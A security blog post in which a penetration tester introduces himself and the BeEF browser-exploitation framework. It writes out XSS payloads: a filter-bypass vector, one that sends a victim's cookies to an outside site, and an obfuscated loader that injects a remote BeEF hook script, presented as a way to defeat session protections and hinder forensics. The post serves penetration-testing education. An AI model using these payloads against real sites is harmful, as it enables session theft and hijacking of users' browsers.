About me, myself and BeEF

Hello followers of SpiderLabs Anterior.

I'm Michele "antisnatchor" Orru, a new Senior Spider that recently joined the Application Security team in EMEA (London). I love both writing and breaking code. That's why I particularly like source code analysis, debuggers and delve my hands deeper on software internals.

Coming from a strong Java Enterprise development background for various years, I got into Ruby a few years ago when I heard that Wade Alcorn, the creator of the BeEF project, wanted to rewrite the whole framework from scratch. So finally no more PHP that I always hated, especially when writing and securing code for customers. I had a lot of friends that were definitely happy after the Java to Ruby transition, so I joined the BeEF project. I wrote a technical article regarding why PHP BeEF is discontinued and why you should use the Ruby BeEF in our blog.

You will now be wondering what the hell is BeEF :D

[Figure 1: BeEF console logs. Note the new hooked browsers Firefox and Safari]

BeEF is a powerful platform for client-side pwnage, XSS post-exploitation and generally victim browser security-context abuse. Every browser is in a different security context: browser and operating system type/version, plugins installed, specific domain hooked could open different security holes. Imagine Internet Explorer 8 on Windows XP-SP3 lacking patches, vulnerable to the Aurora exploit, or maybe Firefox fully patched with a vulnerable Java plugin. The framework allows the penetration tester to select specific modules (in real-time) to target each browser, and therefore each context.

[Figure 2: BeEF admin console. Here you can control your hooked browsers]

Lets discuss a practical example. You are able to inject Javascript code in a web application, for example using XSS or HTTP Response Splitting. You're happy to see a lame alert box popping up in your screen, and you send to the pentest requestor - your customer – tons of vectors with alert(1).

You're clever, you're a sla.cke.r and you use a known vector to bypass Chrome 18 XSS filter: <svg><script>//&#x0A;alert(1)</script>

Wait, you can be smarter and send document.cookie to your PHP page. You modify your vector as the following: <svg><script>//&#x0A;document.location='yoursite.com?cookie='+document.cookie</script>

Cool, but what if the web application prevents Session Hijacking checking for UserAgent, source IP, browser type and version and so on? You would say…ok UserAgent is spoofable, but what about the source IP or whatever other security mechanisms implemented by the web application?

So, to solve the problem, you inject the BeEF hook and use the Tunneling Proxy feature. This allows you to proxy requests through the victim browser, so her browser will effectively request resources you want and send back the results.

You modify your vector in order to dynamically load an external script, the BeEF hook. After applying some very simple encoding iterations, your script will become:

<svg><script>//&#x0A;eval(atob(String.fromCharCode(99,122,49,107,98,50,78,49,98,87,86,117,100,67,53,106,99,109,86,104,100,71,86,70,98,71,86,116,90,87,53,48,75,67,100,122,89,51,74,112,99,72,81,110,75,84,116,122,76,110,82,53,99,71,85,57,74,51,82,108,101,72,81,118,97,109,70,50,89,88,78,106,99,109,108,119,100,67,99,55,99,121,53,122,99,109,77,57,74,50,104,48,100,72,65,54,76,121,56,120,78,122,73,117,77,84,89,117,78,106,99,117,77,84,111,122,77,68,65,119,76,50,104,118,98,50,115,117,97,110,77,110,79,50,82,118,89,51,86,116,90,87,53,48,76,109,100,108,100,69,86,115,90,87,49,108,98,110,82,122,81,110,108,85,89,87,100,79,89,87,49,108,75,67,100,111,90,87,70,107,74,121,108,98,77,70,48,117,89,88,66,119,90,87,53,107,81,50,104,112,98,71,81,111,99,121,107,55)));</script>

In it's plain form this is basically:

<svg><script>//&#x0A;s=document.createElement('script');s.type='text/javascript';s.src='http://172.16.67.1:3000/hook.js';document.getElementsByTagName('head')[0].appendChild(s);</script>

Source IP protections, UserAgent and so on will not be effective in this case, and forensics will also have an hard job to detect what happened (like, who added that admin user? Looks legitimate!)

In the next article we'll see the Tunneling Proxy internals, including the new cutting-edge WebSockets support that will increase the speed of the proxy almost to real-time. Stay tuned!